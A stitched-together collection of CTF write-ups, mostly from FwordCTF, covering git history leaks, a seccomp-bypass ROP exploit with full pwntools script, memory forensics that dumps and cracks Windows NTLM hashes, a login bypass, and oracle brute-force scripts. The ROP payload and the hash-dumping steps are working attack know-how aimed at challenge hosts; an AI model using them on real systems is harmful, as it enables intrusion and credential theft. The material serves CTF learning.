When we open the site at https://modest-aryabhata-0ea7f4.netlify.app/We notice there’s a message saying I told the developer to be careful while making a git commit..Developed byAltaf Shaikh, from the message it must have connection with git repository, and then we search for Altaf Shaikh git repository with Google.We found the challenge git repository is at https://github.com/altafshaikh/past_never_leavesAnd so we get clone it to our local machine, and then we do get log and find out the log has some file removed commit ba2838ab72bb954ea54d1c4f8aacfc39f26f5abfAuthor: altafshaikh <[email protected]>Date: Tue Aug 25 20:09:58 2020 +0530
removedand we dogit show ba2838ab72bb954ea54d1c4f8aacfc39f26f5abfand find out the Flag isRESTCON{g1t_ch3ck0ut} |
## FwordCTF Blacklist Writeup#### Tags: pwn, seccomp bypass, rop
We are given a statically linked binary:
```shell$ file ./blacklist./blacklist: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=8231fd8232118e3b92ca37d041e1da3ab1daf4d9, for GNU/Linux 3.2.0, stripped```
From analzying the binary, we can see it uses seccomp to restrict syscalls, then waits for input:
```shell$ strace ./blacklist...seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=24, filter=0x902350}) = 0read(0, ```
We can easily overflow, find the offset and control rip, but due to seccomp, it will be much harder to read the flag.
```shell$ ./blacklistAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault```
Let's analyze the seccomp profile using [seccomp-tools](https://github.com/david942j/seccomp-tools):
```shell$ seccomp-tools dump ./blacklist line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x15 0xc000003e if (A != ARCH_X86_64) goto 0023 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x12 0xffffffff if (A != 0xffffffff) goto 0023 0005: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0023 0006: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0023 0007: 0x15 0x0f 0x00 0x00000012 if (A == pwrite64) goto 0023 0008: 0x15 0x0e 0x00 0x00000014 if (A == writev) goto 0023 0009: 0x15 0x0d 0x00 0x00000038 if (A == clone) goto 0023 0010: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0023 0011: 0x15 0x0b 0x00 0x0000003a if (A == vfork) goto 0023 0012: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0023 0013: 0x15 0x09 0x00 0x0000003e if (A == kill) goto 0023 0014: 0x15 0x08 0x00 0x00000065 if (A == ptrace) goto 0023 0015: 0x15 0x07 0x00 0x000000c8 if (A == tkill) goto 0023 0016: 0x15 0x06 0x00 0x00000113 if (A == splice) goto 0023 0017: 0x15 0x05 0x00 0x00000128 if (A == pwritev) goto 0023 0018: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0023 0019: 0x15 0x03 0x00 0x00000135 if (A == getcpu) goto 0023 0020: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0023 0021: 0x15 0x01 0x00 0x00000148 if (A == pwritev2) goto 0023 0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0023: 0x06 0x00 0x00 0x00000000 return KILL ```All the syscalls listed above are blocked.Also attempting to switch to 32 bit mode to use 32 bit syscalls is not allowed.
We need to bypass the seccomp filter and read the flag somehow (it's path is known). After looking at the [amd64 syscall table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/), we can find some useful syscalls that allow us to read the flag: * read - to read the path of the flag into a known address * openat - to open the flag file and get the fd * sendfile - to transfer data between file descriptors (we can transfer to fd 1 stdout)
Now because the binary is statically linked, we will have plenty of rop gadgets to use. I chose to write a rop chain that uses only these syscalls. Another approach is to write custom shellcode, then use mprotect to mark the section of the shellcode as executable, and execute it.
Before I wrote the rop chain, I tested the syscalls in a [c program](idea.c) in order to test it easily:```c#include <fcntl.h>#include <sys/sendfile.h>
int main() { // read(0, RW_ADDR, 900); // write path of flag to known address int fd = openat(0, "/path/to/flag.txt", O_RDONLY); // imagine that RW_ADDR points to the string "/path/to/flag.txt" sendfile(1, fd, 0, 0xffff); return 0;}```
Now the [final exploit](solve.py):```pyfrom pwn import *
context(arch="amd64")elf = ELF("./blacklist")
DEBUG = FalseREMOTE = True
if DEBUG: p = gdb.debug("./blacklist", gdbscript=""" b *0x4017b6 continue """)elif REMOTE: p = remote("blacklist.fword.wtf",1236)else: p = process(elf.path)
offset = 72
read_n = 0openat_n = 257 sendfile_n = 40
pop_rdi_ret = 0x00000000004017b6#: pop rdi; ret;pop_rsi_ret = 0x00000000004024f6#: pop rsi; ret;pop_rdx_ret = 0x0000000000401db2#: pop rdx; ret;pop_rax_ret = 0x0000000000401daf#: pop rax; ret;pop_r10_ret = 0x0000000000401db1#: pop r10; ret;syscall_ret = 0x000000000041860c#: syscall; ret;
string_addr = 0x004d1260path_str = "/home/fbi/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma.txt\x00"
# first payload to read string from stdinpayload = b""payload += b"A"*offset payload += p64(pop_rdi_ret)payload += p64(0) # arg1 fdpayload += p64(pop_rsi_ret)payload += p64(string_addr) # arg2 bufpayload += p64(pop_rdx_ret)payload += p64(300) # arg3 countpayload += p64(pop_rax_ret)payload += p64(read_n)payload += p64(syscall_ret) # read
# second payload to open the flag using openatpayload += p64(pop_rdi_ret)payload += p64(0) # arg1 (doesn't matter)payload += p64(pop_rsi_ret) payload += p64(string_addr) # arg2 pathpayload += p64(pop_rdx_ret)payload += p64(0) # arg3payload += p64(pop_rax_ret)payload += p64(openat_n)payload += p64(syscall_ret) # openat
flag_fd = 3 # new fd of the flag will always be 3
# third payload to write flag to stdout using sendfilepayload += p64(pop_rdi_ret)payload += p64(1) # arg1 dst fd: stdoutpayload += p64(pop_rsi_ret)payload += p64(flag_fd) # arg2 src fd: flag_fdpayload += p64(pop_rdx_ret)payload += p64(0) # arg3 offsetpayload += p64(pop_r10_ret)payload += p64(0xffff) # arg4 countpayload += p64(pop_rax_ret)payload += p64(sendfile_n)payload += p64(syscall_ret) # sendfile
p.sendline(payload)p.sendline(path_str)p.interactive()```
And we get the flag!**FwordCTF{th3_n4M3_1s_El1Z4be7h_K33n}**
Overall a really fun challenge. |
**Summary :** You were presented with a image where you need to analyze and extract the data. ** What you will learn from it :** * String analysis * Binary Extraction : RAW or DD images just contain the data from the original source, and nothing else. Any hash data etc is usually stored in a separate log file that is generally stored with the image file. * Retrieving sensitive files in raw files.
**How we solved it :** In order to solve there were many ways , the shortest way is to use **Yarascan** along with volatlity..
Command : volatility -f foren.raw --profile=Win7SP1x64 yarascan -Y "FwordCTF{" -p 3700,3752,2560,3304,3304,3528,616,540,3816,2516,3992
**Explanation** : How to you get the profile : `volatility imageinfo -f foren.raw`Yarscan : YARA is a tool designed to help malware researchers identify and classify malware samples. In general it compares the hashsets which it has alongside malware samples
**Output** :
Owner: Process chrome.exe Pid 25600x0de50f6f 46 77 6f 72 64 43 54 46 7b 74 6f 70 5f 73 65 63 FwordCTF{top_sec0x0de50f7f 72 65 74 5f 63 68 61 6e 6e 65 6c 7d 20 3a 45 6e ret_channel}.:En0x0de50f8f 64 20 6f 66 20 2f 4e 41 4d 45 53 20 6c 69 73 74 d.of./NAMES.list0x0de50f9f 2e 22 5d 20 3a 73 74 72 6f 73 73 2e 66 72 65 65 ."].:stross.free0x0de50faf 6e 6f 64 65 2e 6e 65 74 20 33 37 32 20 53 65 6d node.net.372.Sem0x0de50fbf 61 68 42 41 20 3a 2d 20 20 22 5d 81 71 61 5b 22 ahBA.:-.."].qa["0x0de50fcf 3a 31 20 3a 73 74 72 6f 73 73 2e 66 72 65 65 6e :1.:stross.freen0x0de50fdf 6f 64 65 2e 6e 65 74 20 33 37 32 20 53 65 6d 61 ode.net.372.Sema0x0de50fef 68 42 41 20 3a 2d 20 49 66 20 79 6f 75 20 61 72 hBA.:-.If.you.ar0x0de50fff 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 61 73 e.looking.for.as0x0de5100f 73 69 73 74 61 6e 63 65 2c 20 79 6f 75 20 6d 61 sistance,.you.ma0x0de5101f 79 20 62 65 20 61 62 6c 65 20 74 6f 20 66 69 6e y.be.able.to.fin0x0de5102f 64 20 61 20 6c 69 73 74 20 6f 66 20 22 5d 81 73 d.a.list.of."].s0x0de5103f 61 5b 22 3a 31 20 3a 73 74 72 6f 73 73 2e 66 72 a[":1.:stross.fr0x0de5104f 65 65 6e 6f 64 65 2e 6e 65 74 20 33 37 32 20 53 eenode.net.372.S0x0de5105f 65 6d 61 68 42 41 20 3a 2d 20 76 6f 6c 75 6e 74 emahBA.:-.volunt
based on the output we concluded top_secret_channel which is flag.
Hope you like the writeup, Alternatively you can use volatilty workbench of passmark/osforensics which were shareware among market |
# Rescue Mission
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python
# Source
```Oh no! The flag has been lost in the most disconcerting places! Can you save the flag??
Connect here:nc jh2i.com 50013```
# Exploitation
You can probably do solve this task without scripting anything.
```bash$ nc jh2i.com 50013
Connecting...PowerShell 7.0.2Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/powershellType 'help' to get help.
PS /c_drive>```
Upon connecting, you find yourself in a powershell terminal. You can find the folders in the current directory using `dir`.
```PS /c_drive> dirdir
Directory: /c_drive
Mode LastWriteTime Length Name---- ------------- ------ ----d---- 07/29/2020 01:52 stuck_in```
`cd` into `stuck_in/the_ocean`, you see a `flag.png`.
```PS /c_drive/stuck_in/the_ocean> dirdir
Directory: /c_drive/stuck_in/the_ocean
Mode LastWriteTime Length Name---- ------------- ------ --------- 07/25/2020 01:57 2197 flag.png
```
You can now convert this to base64 and copy the image to your machine, where you decrypt it with base64.
```powershellPS /c_drive/stuck_in/the_ocean> [Convert]::ToBase64String([IO.File]::ReadAllBytes("stuck_in/the_ocean/flag.png"))[Convert]::ToBase64String([IO.File]::ReadAllBytes("stuck_in/the_ocean/flag.png"))
iVBORw0KGgoAAAANSUhEUgAAAVUAAAAqCAIAAACMbV/ZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAgqSURBVHhe7Zw9mto8EIDhOwtssc+eAE4AaVKl3Q5KaNJtmS4NlNClTZUm+AT4BHm2CL4LnzQayfoZ2fLPsmw8b5HFljw/kkZIY5Hx9XodMQwzSP7DvwzDDA+Of4YZLhz/DDNcOP4ZZrhw/DPMcOH4Z5jhwvHPMMMlGv9Ftp7Px8h8X8C9PdzBq1sgjAADUnXe3sKQe7CB6ZVsLXt0vM7w+o5BU1PHXyT+s/V0ecxz8Wk2m41G+c/f7zCYRSAJI+Sn2ezpAW4xDFPJI0SsiNntNGG+IuO/2H87yr+r0/V6Pp+v4t/NBEpuSfH7J0xAu4sw4rC4vQEM8+FYbGTEXnZyDjj+qp0AyPi/vMK37urzAi7fl6cHjnyGacTk4Un++fO3btlOxX/x94/8M3ucwuV7oWah0IoPtBljmPsmmv9jGOafh+OfYYaLE//45mq6he1/vp3CQrt+qV1k+731tnA8ns/n64zceoiqTk2bujcWaN4ScpOj4xIektAPgiqsMZ6v95RBiZajZmgH98UoLTZEPgVP2NLdxoi2WRVoGd1FdKHfBcplXzM+SzRt1/1Xrdf1ndLdayEx0nNQEWu16xMPtAfMsQePIzta4JLsRTJXm9NqJsEi+e4P2J1UscoqQka+5LSCugDUxs/iSr4/sMHnJW5Nde1VV4ItZRdlHtSXyAugfFBbuNqtbOmIa3gDy1Hsalc6YOGJJVpJa7Lleo2hP7qy6tFi/LYWEEUXsl0Az2fCCwSdIRQmUOt1Wqc09dqS4oj0vRMjDIts9COdXKYHj7DgYptnCBs+3QtBEDwR3PhXoKKoBW6B0CTC7eTU1aY6NfXNlVVXjEe8hzdKsHpYUjX+tA5JaZWcONQ956Fky5uJxcpGgq7lBpjxotQD81vQ6HXQFgt0QakWdYIppvLlZJyzDfS9KKlq/zrqvU7slNA5JO6144rQqu7aAkxNY59oHGtGaOWysUhiJFutDlgF5KBq4AWASmst7h7/NGiYpT/ycMRQ7RnhQLzESIuqqW8QUnwjsXhPVdUVEt1uBVrsqXDMsG4EpgiIouBxQ1X719Da61CnNtmTFZid7oeWGFTVBa1cth73BJv7sYLQ2wQvNOZ+8ITDW+X/po9gcP0LSAK5VZ6KXb74HrgcWh1BmO1+eAeW8IVogkEVljcVK3Z+kEsR3eYfoMIHj9+67t8Ei8/Q1+4hTX166ssnVIw3RquX8CzXZPNCiOif1l6HnaJNFrISvC5vlGCz6UMy8fbRqroRDB49dqIFJeleGBYHWEkcl9PxeL6n8iRAX/FfyMzEej3XPKscosXk0xfZh/n2u9X3xV5V9N7y+8/2AI6gkHrLq4iKlelTlUhdnajTk4uvMKXnW9FBXbM4xAQQjhg81BU51YF+5K8XuHwrUr1O6ZQmXufbZ5RkgYlkpLp93oL42PFJ98JiMn18UgryV/hDgusAm+higy4odywhblVck0hkAsM8RWjS2yNiyRVb8Uji6ySqJNnyRmLNLcxtUI8p3N1luO9NxzeDaKOqZjMCyuK4y9WC6qnxOn04aUvMXbSZ8LoCnd32hdl0cjnaktGCQF26FyVGeuWY6vz9r34pJPSIxbqlCLXbZGs5Vc1WK9m/uURcQe+H34+TxeYHSEg4wtyWdMtb8umgZEV/iSG8PJyFRgyI/Ci+Ftu9VrMWV/Iy+6V+v0Ec4G61I+uVSq8bdYq3Asi+q/UW4TUZ1Yrz5h5OuSfRxAvVGHJvUfnLma7xjyNN6DlsJlWKsObq5XCQvY+cz4eYfbgLerPxmm55eyabs5q6j8uKww0qIHCIu/vZZHACUPMlGf7VK/zbr35Jrxt2it5OwATQwmubG+2AWtHcNjzDX/vjmZ72/4EeHE8laJAYnz3Fc08TQ73l3VjULQI0OoJbYvJhvzIyEExWiZpg9A8+wwRTkBHUVXuC9jq5U/S6R1gZ8dqeFysx7RPUzNa9utyCdC80qsHqp/Ou8Y8zkzOoiv06zEoYF2RCUqMyGDIP1CCW9WSoR2YhgA/NSLa8KxPcytiLgGLvH90qMsw/t/69o84EL8GD2e6rtyLEL0s5E80t1fLkmUpUOolo3V/59llXhsNneDi0FfVeN+4UPQFs5QsjymszL4rG9756Cul6edROt4+oaW4Kl+dj/E8o3pN0L5qCC3EbXJMlJiys3ISV08NPTlV92Ecl/wTqShFqU4KJPQ+aUVLWiZpOlTSxvIFYsrLRpZI6WEciVZuL9lk1ie1QaKoknltzTycBlpElop7qxhaWpnid3imIbWWK11Kqpdp5hPS4k8sCFBraFi3ANvDUJXshUSIi7WHRy/kfmbI1tqiUHmFAxCST6vdLqlywz7HKVBHejpseKUmzvJnYSGW8be5D/svo1sq7oXVQlmou4LOtWJ49i1R32wctVA3UMhgSvE7sFIMqixYDwmtHMbgtBAcP6LSkoheXY4MnWoAOheqSvahsLxsq/t+EhA4M5rv4EwwNtiQ32tBJDZ6+zv/UUZWPjPx/I2oveJf52HtF58CII34MQ3Cr+EeOSz9TUWT6CCBxuFHy/i+sPwrmv20kXoAzgyL19R+Z/3sbxKYOVQrEvkWCV+Ka+p2C2c3KTSBR/s+Cq/gUrBWebq52u9SWtDP1Q3PfLotRYOIqYSTc7vt/cTiX6Qs4/lceALyQ/78vnJ4BX/L8z1+4xUTRZ9/523/QXF4hriArnvDjubGYA/AjwzAD48b7f4Zh7giOf4YZLhz/DDNcOP4ZZrhw/DPMcOH4Z5jhwvHPMMOF459hhspo9D851CzaiJaisgAAAABJRU5ErkJggg==```
Store this in a file called `flag.txt`. Decrypt it with base64 and store it in `flag.png`.
```bash$ cat flag.txt | base64 -d > flag.png```
Open `flag.png` and get the flag.
The flag is:
```flag{thanks_you_saved_me}``` |
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# Memory
## Problem descriptionFlag is: FwordCTF{computername_user_password}
Link to zip: http://download.fword.wtf/foren.7z
**Category: Forensics**
## Personal noteThis was the first time I attempted a forensics challenge. It was the first time I used volatility, which seemed to be a really good tool for this type of challenge. Through working on the challenge, I learned a lot about types of information we can discover by memory image analysis.
## Concepts* [Memory forensics](https://en.wikipedia.org/wiki/Memory_forensics)* [Windows registry](https://en.wikipedia.org/wiki/Windows_Registry)
## Tools* [Volatility](https://www.volatilityfoundation.org/releases)
## Other resourcesI used the following tutorials to find the relevant info:* https://www.aldeid.com/wiki/Volatility/Retrieve-hostname* https://www.aldeid.com/wiki/Volatility/Retrieve-password* https://www.andreafortuna.org/2017/07/03/volatility-my-own-cheatsheet-part-2-processes-and-dlls/ (some info about envars)
## SolutionFirst I downloaded the zip file and extracted it:`$ 7z e foren.7z`
This extracts the file called `foren.raw`.
The extracted file is 2GB.
I execute `$ file foren.raw` to look for some clues as to the file type, but it only returns the generic `data` type (gives no hint as to the type of the file).
Next step is to try `$ strings foren.raw | head -200 | less`, to look at the first printable strings in the file. There are a few strings related to VMWare and a lot of strings related to Microsoft Windows. Since this is a forensics challenge called memory, I suspect this might be some type of memory image file. The problem description suggests the type of information we want to get from the file (computername, user, password).
Googling, I find that volatility is good for analyzing memory files, so I download and install it on my machine.
### Get general information
Now volatility can be used to get some information about the file:```$ volatility -f foren.raw imageinfo```
Relevant output:```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search...Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)AS Layer2 : FileAddressSpace (/home/jeanette/Downloads/foren.raw)```
So it seems to be memory from Windows 7 that has been written to the file.
Now that we know the (likely) profile, we can try to get more information needed for the flag. If we get information about the virtual address of certain windows registry hives (i.e., branches of the windows registry that are stored in files), we can use this information to solve the tasks of getting the computer name, username, and password.
To get information about the computer name, we need information about `REGISTRY\MACHINE\SYSTEM`.To get username and password hashes, we need information about `REGISTRY\MACHINE\SYSTEM` and `\SystemRoot\System32\Config\SAM`.
Command to get registry hive information:```$ volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Selected output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM```
### Get computer nameTo get the computer name, we can use the following command (the -o argument is a reference to the virtual address of \REGISTRY\MACHINE\SYSTEM):```$ volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Selected output:```REG_SZ ComputerName : (S) FORENWARMUP*```
So now we know that the computer name needed for the flag is `FORENWARMUP`.
### Get username and passwordTo get the username and password hashes, we can use the following command (the -y argument is a reference to the virtual address of \REGISTRY\MACHINE\SYSTEM, the -s argument is a reference to the virtual address of \SystemRoot\System32\Config\SAM):```$ volatility -f foren.raw --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
This command results in the following output (the username is at the start of each row, and the hash is at the end of each row [before the three last ':'-separators]):```Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
At first I thought fwordCTF was the user needed for the flag, but looking at the list of process environment variables suggests that it is another user that is using the system:```$ volatility -f foren.raw --profile=Win7SP1x64 envars | grep 'C:\\Users'```
Selected output:```Volatility Foundation Volatility Framework 2.6Pid Process Block Variable Value-------- -------------------- ------------------ ------------------------------ -----2516 chrome.exe 0x0000000000a31320 USERPROFILE C:\Users\SBA_AK3992 chrome.exe 0x0000000000931320 APPDATA C:\Users\SBA_AK\AppData\Roaming3992 chrome.exe 0x0000000000931320 LOCALAPPDATA C:\Users\SBA_AK\AppData\Local```
So, it seems that the user needed for the flag is `SBA_AK`.
Next, we can use the hash to get the password from the site [crackstation](https://crackstation.net/).Crackstation uses a pre-computed lookup table to crack password hashes, storing a mapping from hash to password.Thus, if the hash is mapped to the password in the lookup table, it is very quick to find the password.
From the crackstation website, we can enter the hash `a9fdfa038c4b75ebc76dc855dd74f0da`, and click the 'Crack Hashes' button, and the password is found:
```Hash Type Resulta9fdfa038c4b75ebc76dc855dd74f0da NTLM password123```
Thus, the password needed for the flag is `password123`.
### Flag
Now, we can construct the flag, following the format given in the challenge description: \`FwordCTF{computername_user_password}`
Inserting the computername, user, and password, we finally know the flag: \`FwordCTF{FORENWARMUP_SBA_AK_password123}` |
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Extract foren.7z and command `grep -aim 1 FwordCTF{ foren.raw` for the most low-tech solution to this task. (Pipe through xxd if you're worried about making your terminal mad) |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>gctfq20</span></span><span>/</span>exceptional<span>/</span> </div> </div>
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# Secret Array
Author: [roerohan](https://github.com/roerohan) and [namsnath](https://github.com/namsnath)
# Requirements
- Python
# Source
- nc secretarray.fword.wtf 1337
# Exploitation
We can get the sum of 2 numbers, 1337 times. We can send out 3 queries and find out 3 values.
```1 21 32 3```
From here we can get the individual values of a[1], a[2], and a[3].
```pyfrom pwn import remote
r = remote('secretarray.fword.wtf', 1337)
x = r.recvuntil('START:\n').decode()print(x)
arr = []
for k in range(0, 1335, 3): x = f'{k} {k+1}' print(x) x = r.sendline(x) a = int(r.recvline().decode()) print(a)
x = f'{k+1} {k+2}' print(x) x = r.sendline(x) b = int(r.recvline().decode()) print(b)
x = f'{k} {k+2}' print(x) x = r.sendline(x) c = int(r.recvline().decode()) print(c)
first = (a - b + c)//2 second = a - first third = b - second
arr.append(first) arr.append(second) arr.append(third)
x = f'{1334} {1335}'r.sendline(x)x = int(r.recvline().decode())first = x - arr[1334]arr.append(first)
x = f'{1334} {1336}'r.sendline(x)x = int(r.recvline().decode())first = x - arr[1334]arr.append(first)
print(arr)
r.sendline('DONE {}'.format(' '.join(map(str, arr))))x = r.recvline().decode()
print(x)```
The flag is:
```FwordCTF{R4nd0m_isnT_R4nd0m_4ft3r_4LL_!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG}``` |
## LOG-ME-IN write up by Ambrotd
We have a node express app with a login where the input is sent straight to the db
The application is using bodyParser with extended true this means we can modify the username and password and send them as an array
With this request we are logged in as administrator, but we need to be michelle to get the flag:
So we can send the username as michelle:
And we got the flag:
 |
# xo## slopey | 8/30/2020
TL;DR: Flag XOR'd with user input. Prints strlen of output.
We are given a stripped, statically linked binary. Running the binary, we get the output:```$ ./xoError while opening the file. Contact an admin!: No such file or directory```We can simply add a fake flag in `flag.txt` and the program runs properly. Testing it a few times, this is our output:```$ ./xoinput :asdf4input :asdfasdf8input :Fword0input :FwordCTF0```At first glance, it seems that the program simply returns the length of our input, but returns 0 if our input matches the flag. I wasted quite a bit of time trying to write a solve script for this as I was lazy to actually analyze the binary. As you can see, we can easily get very unexpected behaviour:```$ ./xoinput :Fwwwwwwww0input :Fagsodighjaowiehjg0input :asdlfasfdF14```So now, let's actually try to take a look at the binary itself. Since this was a statically linked binary, I used [this](https://github.com/NWMonster/ApplySig) Ghidra script to apply function signatures using [this database](https://github.com/push0ebp/sig-database). I used a random Ubuntu libc, but it was pretty much useless and only identified 1-2 functions in main.
We can identify where main is by simply going to the entry function.
Here, I have already marked the main function. Entry calls a libc function which starts the main function, and the first parameter is main. After we locate main, we can simply go through the function and figure out which functions are which by analyzing the return values and parameters in GDB. Also a lot of them can be revealed through simply looking at the context. After labelling the functions, we get a much more readable decompiled view.
Here is the shortened, Python equivalent:```pythongarbage = ""for a, b in zip(flag, input): garbage += chr(ord(a) ^ ord(b))print(len(garbage))```Essentially, if flag[i] == input[i], then a null byte will be added to `garbage` since the xor of the same number is 0. In C, strings are terminated with a null byte. Therefore, when we get the length of `garbage`, it returns the number of characters before the null byte.
We can easily write a script to brute force the flag. Basically, if we know the flag to be `FwordCTF{flag}`, then an input of `F` should output 0 since the first character matches. This yields a null byte, so effectively there are no characters in `garbage`. Here is the important part: if we give the input of `.w`, the output should be 1. the xor of "." and "F" results in some value, but "w" xor "w" is zero. Effectively, there is only one character in the resulting string. Note that I use the character "." because it will not be a character in the string.
We can try all characters and slowly increment the payload and if the script returns the length of our payload minus 1, then our guess is correct. [Here](xo.py) is a script I wrote in Python to brute force the flag:```pythonfrom pwn import remoteimport string
r = remote("xo.fword.wtf", 5554)alpha = string.ascii_letters + string.digits + "{}_?!"flag = ""
# I don't know how long the flag is, I'll just use an # infinite loop and stop when the flag stalls.while True: for c in alpha: r.recvline() payload = len(flag) * "." + c r.sendline(payload) output = int(r.recvline().strip()) if output == len(flag): flag += "." print(c, end="") break```Running this takes a bit, but eventually we get our flag:```NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!``` |
Вообще все довольно просто. У каждого знака ПДД есть номер, допустим 1.14 и так далее. Выписываем подряд (желательно через пробел) номера всех 23-х знаков по порядку (знаки слева тоже считаются, но он там всего один, а также последний знак, который почти не виден справа считается также).
1.21 6.4 1.17 1.14 4.6 1.14 6.4 5.2 5.3 1.15 4.6 5.2 1.14 5.1 4.6 3.3 1.10 6.1 3.3 1.10 3.3 5.5 5.1
Затем удаляем точки из нумерации, добавляем незначащие нули до трехзначного числа и вот что вышло:
121 064 117 114 046 114 064 052 053 115 046 052 114 051 046 033 110 061 033 110 033 055 051
Далее переводим из ascii to text и вуаля - таск решен! Сложность тут только в то, чтобы разобраться, что делать со знаками, ну и не запутаться при их так называемом переписывании и "декодировании". Флаг: [email protected]@45s.4r3.!n=!n!73
@naumovax |
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# Secret Array
Author: [thebongy](https://github.com/thebongy) and [roerohan](https://github.com/roerohan)
# Requirements
- Python
# Source
```Get back to flag.
Author: KOOLI```
# Exploitation
Since we have the AES key, it's got nothing much to do with that. We just have to reverse the shuffling properly.
```py#!/usr/bin/python3from Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{xxx_xxx}" #REDACTED# assert len(flag) == 62# assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def decrypt(txt, key): b = bytes.fromhex(txt) flag = b'' for i in range(0, len(b), 16): block = b[i:i+16] cipher = AES.new(key.encode(), AES.MODE_ECB) dec = cipher.decrypt(block) flag += dec[:2] return flag def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def reverse_translate(txt, l, r): return txt[:l] + txt[-(r-l):] + txt[l:(-(r-l))]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) return txt
def reverse_shuffle(txt, seed): random.seed(seed) vals = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) vals.append((l,r)) vals = vals[::-1] for i in range(45): txt = reverse_translate(txt, vals[i][0], vals[i][1]) return txt
flag = shuffle(flag)print (encrypt(flag, key))
hx = '3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b'
chars = decrypt(hx, key)
possible_seeds = list(map(chr, set(chars)))for i in possible_seeds: print(reverse_shuffle(chars, i))```
Run the script with python.
```bash$ python solve-tornado.py | grep Fword```
The flag is:
```FwordCTF{peekaboo_i_am_the_flag_!_i_am_the_danger_52592bbfcd8}``` |
# Write-up FwordCTF
